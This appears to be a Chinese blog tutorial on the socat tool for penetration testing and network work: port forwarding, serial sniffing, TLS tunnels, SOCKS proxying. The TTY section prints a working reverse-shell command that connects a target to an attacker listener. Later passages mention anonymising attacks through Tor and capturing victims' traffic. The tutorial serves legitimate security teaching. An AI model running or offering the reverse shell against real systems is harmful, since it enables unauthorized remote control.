Socat 用法详解:网络安全中的瑞士军刀
Socat 用法详解:网络安全中的强大工具
引言
socat
(SOcket CAT)是一款功能强大的命令行工具,被誉为“网络瑞士军刀”,广泛应用于数据传输、端口转发和网络调试等场景。它支持多种协议和数据通道(如文件、管道、设备、TCP/UDP 套接字等),并且能够以灵活的方式在两个独立数据流之间进行双向数据中继。在网络安全领域,socat
因其在端口转发、获取伪终端(TTY)、数据嗅探以及创建加密隧道等方面的应用而备受青睐。本文将重点介绍 socat
在网络安全中的核心应用。
什么是 Socat?
socat
是一个多功能的中继工具,允许用户在两个数据通道之间建立双向数据流。这些通道可以是文件、管道、设备(如串口或伪终端)、网络套接字(TCP、UDP、Unix 域套接字等),甚至可以通过 SSL/TLS 进行加密传输。与 netcat
(另一款类似工具)相比,socat
提供了更多高级功能,例如:
- 安全性增强:支持
chroot
、用户切换(su
)和 SSL/TLS 加密。 - 灵活性:支持多种协议和地址类型,允许复杂的数据流配置。
- 多进程处理:通过
fork
选项支持并发连接。 - 调试功能:提供详细的日志和数据流监控选项(如
-x
和-v
)。
安装 Socat
在大多数 Linux 发行版中,可以通过包管理器安装 socat
。以下是一些常见系统的安装命令:
-
Debian/Ubuntu:
sudo apt update sudo apt install socat
-
CentOS/RHEL:
sudo yum install socat
-
Arch Linux:
sudo pacman -S socat
-
macOS(使用 Homebrew):
brew install socat
安装完成后,可以通过 socat -V
检查版本,确保安装成功。
Socat 基本语法
socat
的基本命令格式如下:
socat [options] <address1> <address2>
<address1>
和<address2>
:表示两个数据通道,可以是文件、设备、套接字等。例如,TCP4-LISTEN:8080
表示监听本地的 TCP 8080 端口,FILE:/dev/ttyS0
表示串口设备。[options]
:控制socat
的行为,例如-d -d
启用详细调试信息,-u
强制单向传输。
常用地址类型包括:
STDIO
:标准输入/输出。FILE:<filename>
:文件或设备(如/dev/ttyS0
)。TCP4:<host>:<port>
:IPv4 TCP 连接。TCP6:<host>:<port>
:IPv6 TCP 连接。UDP4:<host>:<port>
:IPv4 UDP 连接。UNIX-CONNECT:<path>
:Unix 域套接字连接。PTY
:伪终端设备。OPENSSL:<host>:<port>
:SSL/TLS 加密连接。
常用选项包括:
-d -d
:启用详细调试日志。-u
:单向数据传输。-x
:以十六进制显示传输数据。fork
:为每个连接创建子进程,适用于并发处理。reuseaddr
:允许重用本地地址,便于快速重启服务。chroot=<dir>
:将进程限制在指定目录。su=<user>
:以指定用户身份运行。
Socat 在网络安全中的应用
1. 获取伪终端(TTY)
在渗透测试中,特别是在反向 Shell 场景中,获取交互式 TTY 是关键。socat
通过伪终端(PTY)将非交互式 Shell 升级为全交互式终端,支持 vi
、sudo
等命令,提供比普通 Shell 更强大的交互能力。
示例:反向 Shell 获取 TTY
在目标机器上运行以下命令,连接到攻击者(Kali)机器的 IP 和端口:
socat TCP:<kali-ip>:9001 EXEC:'sh',pty,stderr,setsid,sigint,sane
在攻击者(Kali)机器上监听:
socat FILE:`tty`,raw,echo=0 TCP-LISTEN:9001
解释:
- 目标端:
TCP:<kali-ip>:9001
:连接到攻击者的 9001 端口。EXEC:'sh',pty
:执行sh
,分配伪终端。stderr
:将标准错误重定向到伪终端。setsid
:创建新会话,确保独立终端。sigint
:正确处理 Ctrl+C 信号。sane
:设置合理的终端参数。
- 攻击者端:
FILE:($tty)
:使用当前终端。raw,echo=0
:原始模式,禁用回显。TCP-LISTEN:9001
:监听 9001 端口。
2. 端口转发
端口转发是 socat
的核心功能之一,广泛用于网络安全中的内网穿透、流量重定向和隐藏真实服务位置等场景。socat
支持将本地端口转发到远程主机,或将远程端口映射到本地。
示例 1:本地端口转发到远程服务
假设攻击者希望将本地机器的 8080 端口转发到远程服务器(192.168.1.100
)的 80 端口,以便通过本地访问远程 Web 服务:
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80
解释:
TCP-LISTEN:8080
:在本地监听 8080 端口。fork
:为每个连接创建子进程,支持并发访问。TCP:192.168.1.100:80
:将数据转发到远程主机的 80 端口。
现在,访问 http://localhost:8080
相当于访问 http://192.168.1.100:80
。
示例 2:远程端口转发(反向连接)
在某些场景中,攻击者可能需要将远程主机的端口映射到本地。例如,将远程主机(remote-ip
)的 1234 端口映射到本地主机的 8080 端口:
socat TCP-LISTEN:1234,fork,reuseaddr TCP:localhost:8080
运行此命令后,访问 remote-ip:1234
将被转发到本地主机的 8080 端口。
3. 数据嗅探与调试
socat
的调试功能使其成为分析网络流量的强大工具。通过选项如 -x
(十六进制显示数据)和 -v
(详细日志),用户可以监控和记录两个数据通道之间的通信内容。
示例:嗅探串口通信
假设需要监控串口 /dev/ttyS0
和 /dev/ttyS1
之间的数据传输:
socat -x /dev/ttyS0,raw,echo=0,crnl /dev/ttyS1,raw,echo=0,crnl
解释:
-x
:以十六进制格式显示传输的数据。/dev/ttyS0
和/dev/ttyS1
:两个串口设备。raw,echo=0,crnl
:确保原始数据传输,无回显,并处理换行符。
运行此命令后,socat
会显示所有通过串口传输的数据,适合用于调试或分析设备通信。
4. 创建加密隧道
在网络安全中,保护数据传输的机密性和完整性至关重要。socat
支持通过 SSL/TLS 协议创建加密隧道,适用于需要安全通信的场景。
示例:通过 SSL 加密的端口转发
假设需要在本地监听 54321 端口,并将流量通过 SSL 加密转发到远程服务器的串口 /dev/tty0
:
socat -d -d ssl-l:54321,reuseaddr,cert=server.pem,cafile=client.crt,fork file:/dev/tty0,nonblock,echo=0,raw
解释:
ssl-l:54321
:监听 54321 端口,使用 SSL 加密。cert=server.pem,cafile=client.crt
:指定服务器证书和客户端 CA 证书,用于身份验证。fork
:支持多客户端连接。file:/dev/tty0
:目标串口设备。
客户端可以使用以下命令连接到此加密隧道:
socat pty,link=$HOME/dev/vmodem0,raw,echo=0,waitslave ssl:server:54321,cert=client.pem,cafile=server.crt
5. 串口到网络的桥接
在工业控制系统(ICS)或物联网(IoT)场景中,串口设备(如传感器、PLC)需要通过网络访问。socat
可以将串口数据转发到 TCP/IP 网络,实现串口到以太网或 WiFi 的桥接。
示例:串口到 TCP 的转发
将串口 /dev/ttyUSB0
的数据转发到 TCP 端口 8081:
socat /dev/ttyUSB0,raw,echo=0,b9600 tcp-listen:8081,fork
解释:
/dev/ttyUSB0
:串口设备,波特率设为 9600。tcp-listen:8081
:监听 TCP 8081 端口。fork
:支持多客户端连接。
客户端可以通过 telnet 127.0.0.1 8081
或其他工具访问串口数据。
高级用法与技巧
以下是一些 socat
在网络安全中的高级用法和技巧,进一步提升其灵活性和实用性。
1. 通过 SOCKS 代理转发
在受限网络中,攻击者可能需要通过 SOCKS 代理进行端口转发。socat
支持 SOCKS4 协议,适用于绕过防火墙或隐藏流量来源。
示例:通过 SOCKS 代理转发
将本地 80 端口的流量通过 SOCKS 代理(运行在 127.0.0.1:9050
)转发到远程主机 192.168.1.100:80
:
socat tcp-listen:80,fork SOCKS4:127.0.0.1:192.168.1.100:80,socksport=9050
应用场景:
- 攻击者可以通过 Tor 网络或企业代理隐藏其真实 IP,进行匿名攻击。
- 防御者可以使用类似配置测试代理服务器的安全性,检查是否存在未授权的流量转发。
2. 限制连接来源
为了增强安全性,socat
支持限制连接来源的 IP 地址范围。例如,只允许来自 10.0.0.0/8
私有网络的连接:
socat TCP4-LISTEN:80,bind=192.168.1.10,su=nobody,fork,range=10.0.0.0/8,reuseaddr TCP:www.example.com:80
解释:
range=10.0.0.0/8
:只接受来自指定 IP 范围的连接。su=nobody
:以低权限用户运行,降低潜在风险。bind=192.168.1.10
:绑定到特定本地 IP。
应用场景:
- 在渗透测试中,攻击者可能需要限制伪装服务的访问范围,避免被其他无关主机检测。
- 防御者可以使用此功能保护临时服务,防止未经授权的访问。
3. 结合其他工具
socat
可以与其他工具结合使用,增强其功能。例如,与 tcpdump
结合捕获流量,或与 netcat
配合进行复杂的中继。
示例:捕获并转发流量
将本地 1234 端口的流量转发到远程 80 端口,同时使用 tcpdump
捕获流量:
socat TCP-LISTEN:1234,fork TCP:192.168.1.100:80 &
sudo tcpdump -i lo port 1234 -w traffic.pcap
应用场景:
- 攻击者可以使用此方法记录受害者的交互数据(如 HTTP 请求)。
- 安全团队可以分析捕获的流量,检测潜在的恶意行为。
结论
socat
是一款功能强大且灵活的工具,在网络安全领域具有广泛的应用前景。从获取伪终端到端口转发,再到创建加密隧道和数据嗅探,socat
为渗透测试人员和安全研究人员提供了丰富的可能性。通过合理配置和结合其他工具,socat
可以在复杂的网络环境中实现高效的数据中继和安全通信。
相关文章:
Socat 用法详解:网络安全中的瑞士军刀
Socat 用法详解:网络安全中的强大工具 引言 socat(SOcket CAT)是一款功能强大的命令行工具,被誉为“网络瑞士军刀”,广泛应用于数据传输、端口转发和网络调试等场景。它支持多种协议和数据通道(如文件、管…...
精益数据分析(36/126):SaaS商业模式的指标动态与实践案例
精益数据分析(36/126):SaaS商业模式的指标动态与实践案例 在创业与数据分析的学习道路上,我们不断探索各种商业模式的核心要点。今天,依旧怀揣着和大家共同进步的想法,深入研读《精益数据分析》中SaaS商业…...
2.LED灯的控制和按键检测
目录 STM32F103的GPIO口 GPIO口的作用 GPIO口的工作模式 input输入检测 -- 向内检测 output控制输出 -- 向外输出 寄存器 寄存器地址的确定 配置GPIO口的工作模式 时钟的开启和关闭 软件编程驱动 LED 灯 硬件 软件 软件编程驱动 KEY 按键 硬件 软件 按键消抖 代码 STM32F…...
架构师面试(三十八):注册中心架构模式
题目 在微服务系统中,当服务达到一定数量时,通常需要引入【注册中心】组件,以方便服务发现。 大家有没有思考过,注册中心存在的最根本的原因是什么呢?注册中心在企业中的最佳实践是怎样的?注册中心的服务…...
Go-web开发之帖子功能
帖子功能 route.go r.Use(middleware.JWTAuthMiddleware()){r.POST("/post", controller.CreatePostHandler)r.GET("/post/:id", controller.GetPostDetailHandler)}post.go 定义帖子结构 type Post struct {Id int64 json:"id" …...
MYSQL-设计表
一.范式 数据库的范式是⼀组规则。在设计关系数据库时,遵从不同的规范要求,设计出合理的关系型数 据库,这些不同的规范要求被称为不同的范式。 关系数据库有六种范式:第⼀范式(1NF)、第⼆范式(…...
动态思维——AI与思维模型【91】
一、定义 动态思维思维模型是一种强调在思考问题和分析情况时,充分考虑到事物的变化性、发展性和相互关联性,不局限于静态的、孤立的视角,而是以发展变化的眼光看待事物,能够根据不同时间、环境和条件的变化,灵活调整…...
文献阅读篇#7:5月一区好文阅读,BFA-YOLO,用于建筑信息建模!(下)
期刊简介:《Advanced Engineering Informatics》创刊于2002年,由Elsevier Ltd出版商出版,出版周期Quarterly。该刊已被SCIE数据库收录,在中科院最新升级版分区表中,该刊分区信息为大类学科工程技术1区,2023…...
【Linux网络编程】http协议的状态码,常见请求方法以及cookie-session
本文专栏:Linux网络编程 目录 一,状态码 重定向状态码 1,永久重定向(301 Moved Permanently) 2,临时重定向(302 Found) 二,常见请求方法 1,HTTP常见Hea…...
ARM 指令集(ubuntu环境学习)第六章:ARM 编程技巧与优化策略
在本章中,我们将介绍一些在 ARM 架构上编写高效代码的技巧和常见优化策略,帮助您在嵌入式系统中获得更低延迟、更高吞吐和更低功耗。 6.1 寄存器利用与最小化内存访问 多用寄存器 ARM 通用寄存器(r0–r12)数量充足,尽量将临时变量保留在寄存器中,减少对内存的读写。 避免…...
柔性超声耦合剂的选择与设计-可穿戴式柔性超声耦合剂面临的难题
柔性PZT压电薄膜:破解可穿戴式超声耦合剂难题的关键材料! 随着可穿戴技术的快速发展,超声设备正朝着轻量化、柔性化和高集成度方向演进。在医学诊断、健康监测和智能穿戴领域,可穿戴式超声设备因其无创、实时、动态成像等优势受到…...
XCTF-pwn(二)
guess_num 看一下文件信息 利用gets函数将seed[0]给覆盖掉 距离0x20 我们需要输入十次随机数产生的值 写一个c程序先预判当seed是a的时候产生的随机数分别是多少 payload from pwn import* from ctypes import* context.log_leveldebugrremote("61.147.171.105", 6…...
AI外挂RAG:大模型时代的检索增强生成技术
目录 引言 一、RAG是什么? 二、RAG为什么会出现? 三、RAG的工作原理 四、RAG的技术优势 五、RAG的应用场景 六、RAG对AI行业的影响 七、RAG面临的挑战 引言 在人工智能领域,大型语言模型(LLM)如ChatGPT、DeepSe…...
SpringTask
Spring Task是Spring框架提供的任务调度工具,可以按照约定的时间自动执行某个代码逻辑 应用场景:信用卡每月还款提醒、火车票售票系统处理未支付订单 fixedDelay:上一次任务执行完成后多长时间(ms)执行下一次任务 fixe…...
Sphinx 文档图片点击放大
文章目录 问题描述解决方案步骤 1:创建 JavaScript 文件步骤 2:编写 JavaScript 代码步骤 3:更新 Sphinx 配置 高级定制为所有图片添加点击功能添加缩放控制 总结 在使用 Sphinx 生成技术文档时,我们经常需要在文档中嵌入截图和示…...
菜鸟之路Day29一一MySQL之DDL
菜鸟之路Day29一一MySQL之DDL 作者:blue 时间:2025.5.2 文章目录 菜鸟之路Day29一一MySQL之DDL0.概述1.DDL之数据库操作1.1查询1.2创建1.3使用1.4删除 2.DDL之表操作2.1创建表2.2数据类型2.3查询表2.4修改表结构2.5删除表 0.概述 文章内容学习自黑马程…...
架构师面试(三十七):监控系统架构模式
题目 监控是在产品生命周期的运维环节,能对产品的关键指标数据进行【实时跟踪】并对异常数据进行【实时报警】。 一句话描述,监控系统可以帮我们【主动预防和发现】业务系统中的问题。 我们常说,监控系统是 “粮草”,业务系统是…...
【Redis】Hash哈希
文章目录 注意个问题hset命令(核心)hget命令(核心)hexists命令hdel命令hkeys和hvals命令hgetall和hmget命令hlen命令hsetnx命令hincrby命令哈希命令小结哈希编码方式使用场景1.关系型数据表保存用户的信息Redis三种缓存方式对比1.…...
【SpringBoot】Spring中事务的实现:声明式事务@Transactional、编程式事务
1. 准备工作 1.1 在MySQL数据库中创建相应的表 用户注册的例子进行演示事务操作,索引需要一个用户信息表 (1)创建数据库 -- 创建数据库 DROP DATABASE IF EXISTS trans_test; CREATE DATABASE trans_test DEFAULT CHARACTER SET utf8mb4;…...
从零开始讲DDR(9)——AXI 接口MIG 使用(2)
一、前言 在之前的文章中,我们介绍了官方DDR MIG AXI接口的例程的整体框架,在本文中,我们将着重介绍例程中关于数据产生,及驱动到AXI接口的相关逻辑实现。 二、data_gen 在例程中,有ddr4_v2_2_8_data_gen这样一个文件…...
组件通信-props
props 是使用频率最高的一种通信方式,父>子 子>父 父传子:属性值 是非函数子传父:属性值 是函数 父组件 <script setup lang"ts"> import { ref } from vue import Child from ./Child.vue const car ref(奥迪) c…...
纯原生Java实现:获取整个项目中指定接口所有的实现类
不使用第三方,不使用属性文件,不指定包名,获取整个系统中某一个接口所有的实现类,纯Java实现 /*** 类查找器,用于扫描类路径中的所有类,并找出指定类的实现类。* 该类通过递归扫描类路径下的所有 .class 文件…...
反射机制补充
不同对象实例的地址不同 在 Java 里,每当使用 new 关键字创建一个对象时,JVM 会在堆内存中为该对象分配一块新的内存空间,每个对象实例都有自己独立的内存地址。所以不同的对象实例,其内存地址是不同的。 以下是一个简单示例&am…...
计算机视觉的未来发展趋势
计算机视觉的未来发展趋势主要集中在以下几个方面: 1. 自监督学习与少样本学习 自监督学习:通过从无标签的数据中提取有用特征,克服对大量标注数据的依赖。2025年,基于大规模图像数据的自监督预训练模型将更加成熟,能…...
轻量级网页版视频播放器
用deepseek开发的轻量级,网页版视频播放器 可以选择本地文件 可以播放、暂停、全屏、有进度条和时间进度 代码如下: 新建.txt文本文档,把代码复制粘贴进去,把.txt文档后缀名改为.html,用浏览器打开即可使用 <!DO…...
18. LangChain分布式任务调度:大规模应用的性能优化
引言:从单机到万级并发的进化 2025年某全球客服系统通过LangChain分布式改造,成功应对黑五期间每秒12,000次的咨询请求。本文将基于LangChain的分布式架构,详解如何实现AI任务的自动扩缩容与智能调度。 一、分布式系统核心指标 1.1 性能基准…...
C/C++工程师使用 DeepSeek
一、使用 DeepSeek 生成 C/C 代码 在 C/C 开发中,很多时候需要编写一些常见功能的代码,如排序算法、文件读写操作、数据结构的实现等。借助 DeepSeek,工程师只需用自然语言清晰描述需求,它就能依据大量的代码数据和深度学习算法&a…...
数据结构-线性结构(链表、栈、队列)实现
公共头文件common.h #define TRUE 1 #define FALSE 0// 定义节点数据类型 #define DATA_TYPE int单链表C语言实现 SingleList.h #pragma once#include "common.h"typedef struct Node {DATA_TYPE data;struct Node *next; } Node;Node *initList();void headInser…...
第 7 篇:跳表 (Skip List):简单务实的概率性选手
前面几篇我们都在探讨各种基于“树”结构的有序表实现,它们通过精巧的平衡策略(高度、颜色、大小)和核心的“旋转”操作来保证 O(log N) 的性能。今天,我们要介绍一位画风完全不同的选手——跳表 (Skip List)。它不依赖树形结构&a…...
sys目录介绍
文章目录 1. 前言2. 目录层次3. 目录介绍3.1 devices 目录3.2 block 目录3.3 bus 目录3.4 class 目录3.5 dev 目录3.6 firmware目录3.7 fs 目录3.8 kernel目录3.9 module 目录3.10 power 目录 sys目录介绍 1. 前言 linux 下一切皆文件,文件的类型也很多,…...
基于DQN的自动驾驶小车绕圈任务
1.任务介绍 任务来源: DQN: Deep Q Learning |自动驾驶入门(?) |算法与实现 任务原始代码: self-driving car 最终效果: 以下所有内容,都是对上面DQN代码的改进&#…...
源码安装SRS4
Ubuntu20安装好SRS后,(源码安装) 注意:在trunk目录SRS ./objs/srs -c conf/srs.conf 以上为启动srs命令,-c 为指定配置文件, 查看SRS进程 ps aux | grep srs 查看端口: netstat -ano | gre…...
OrbitControls
OrbitControls 3D虚拟工厂在线体验 描述 Orbit controls(轨道控制器)可以使得相机围绕目标进行轨道运动。 Constructor OrbitControls( object : Camera, domElement : HTMLDOMElement ) 参数类型描述objectCamera(必须)将要…...
【数据库】四种连表查询:内连接,外连接,左连接,右连接
在数据库操作中,连表查询是处理多表关联的核心技术。以下是四种主要连接方式的详细介绍、快速掌握方法及实际应用指南: 目录 **一、四种连表查询详解****1. 内连接(INNER JOIN)****2. 左连接(LEFT JOIN / LEFT OUTER J…...
Redis怎么避免热点数据问题
使用 RedisTemplate 避免热点数据问题的解决方案、场景及示例: 1. 数据分片(Sharding) 场景:高频读写的计数器(如文章阅读量统计) 原理:将数据分散到多个子键,降低单个 Key 的压…...
完整的 VS Code + CMake + Qt + GCC 项目构建方案:EXE 程序与多个 DLL 库
完整的 VS Code CMake Qt GCC 项目构建方案:EXE 程序与多个 DLL 库 在本文中,我们将介绍如何构建一个包含 EXE 程序和多个 DLL 库的项目,适用于 VS Code CMake Qt GCC 开发环境。这个方案为一个模块化的项目结构,使得代码清…...
Python 数据智能实战 (7):智能流失预警 - 融合文本反馈
写在前面 —— 不再错过关键预警!结合用户行为与 LLM 文本洞察,构建更精准的流失预测模型 在之前的探索中,我们学习了如何利用大语言模型 (LLM) 对用户评论进行深度挖掘,提取情感、发现主题,并将非结构化的文本信息转化为有价值的特征 (如 Embeddings)。 现在,我们要将…...
Flutter - 概览
Hello world ⌘ shift p 选择 Empty Application 模板 // 导入Material风格的组件包 // 位置在flutter安装目录/packages/flutter/lib/material.dart import package:flutter/material.dart;void main() {// runApp函数接收MainApp组件并将这个Widget作为根节点runApp(cons…...
Python-pandas-操作Excel文件(读取数据/写入数据)及Excel表格列名操作详细分享
Python-pandas-操作Excel文件(读取数据/写入数据) 提示:帮帮志会陆续更新非常多的IT技术知识,希望分享的内容对您有用。本章分享的是pandas的使用语法。前后每一小节的内容是存在的有:学习and理解的关联性。【帮帮志系列文章】:每…...
手写 Vue 源码 === Vue3 设计思想
1.声明式框架 Vue3 是声明式的框架,用起来简单。 命令式和声明式区别 早在 JQ 的时代编写的代码都是命令式的,命令式框架重要特点就是关注过程声明式框架更加关注结果。命令式的代码封装到了 Vuejs 中,过程靠 vuejs 来实现声明式代码更加简单,不需要关注实现,按照要求填代…...
Android WebView加载h5打开麦克风与摄像头的权限问题
目录 快速处理 app向系统申请录音与相机权限h5向app申请录音和相机权限 详细解答 app权限与h5权限录音与麦克风默许的风险最佳实践 Android webview h5 麦克风权限,摄像头(相机)权限实现与填坑。 快速处理 app向系统申请录音与相机权限 …...
三种计算最小公倍数的方法分析
三种计算最小公倍数的方法分析与比较 一.引言 最小公倍数(Least Common Multiple, LCM)是数学中的一个基本概念,指能够被两个或多个整数整除的最小的正整数。在编程中,我们有多种方法可以计算两个数的最小公倍数。本文将分析三种…...
PDF转换工具xpdf-tools-4.05
XPDF是一个开源的PDF查看、提取和转换工具套件,使用C编写,支持多种操作系统,包括Linux、Unix、OS/2、Windows和Mac OS X1。XPDF不仅是一个PDF查看器,还包含多个实用工具,如文本提取器、图像转换器和HTML转换器等&a…...
aws(学习笔记第四十课) image-content-search
aws(学习笔记第四十课) image-content-search 使用SQS Lambda集成 数据库(Aurora Serverless) Cognito(用户管理) rekognition(图像解析) 学习内容: 使用SQS Lambda Aurora Serverless Cog…...
GPT-4o 图像生成与八个示例指南
什么是GPT-4o图像生成? 简单来说,GPT-4o图像生成是集成在ChatGPT内部的一项功能。用户可以直接在对话中,通过文本描述(Prompt)来创建、编辑和调整图像。这与之前的图像生成工具相比,体验更流畅、交互性更强…...
PostgreSQL 查看表膨胀情况的方法
PostgreSQL 查看表膨胀情况的方法 表膨胀(Table Bloat)是PostgreSQL中由于MVCC机制导致的一种常见现象,当大量数据被更新或删除后,表中会积累"死元组"(dead tuples),这些死元组占据空间但不可见,导致表实际占用的磁盘空…...
从 0 到 1!深度剖析项目实施流程,开启项目管理新视野
一、项目准备 / 前期准备 (一)跟销售进行项目交接 对接人:销售人员交接会议内容: 了解项目背景、客户基本信息、项目版本、具备二次开发功能、接口、了解合同信息等。明确项目情况、客户基本情况、使用软件(版本&…...
书生实战营之沐曦专场
一:实验环境进入和启动实验容器(D.run平台) 1.1首先进入平台进行注册 D.run平台https://console.d.run/ 注册和登录环节就跳过了。 1.2 启动实验容器--详细步骤如下 1.2.1选择容器的名称、区域、镜像(注意镜像必须选择Dlinfer) 1.2.2可以选…...
在运行 Hadoop 作业时,遇到“No such file or directory”,如何在windows里打包在虚拟机里运行
最近在学习Hadoop集群map reduce分布运算过程中,经多方面排查可能是电脑本身配置的原因导致每次运行都会报“No such file or directory”的错误,最后我是通过打包文件到虚拟机里运行得到结果,具体步骤如下: 前提是要保证maven已经…...
基于YOLOV5的目标检测识别
基于YOLOV5的目标检测识别 舰船目标检测口罩目标检测飞机目标检测 舰船目标检测 口罩目标检测 飞机目标检测...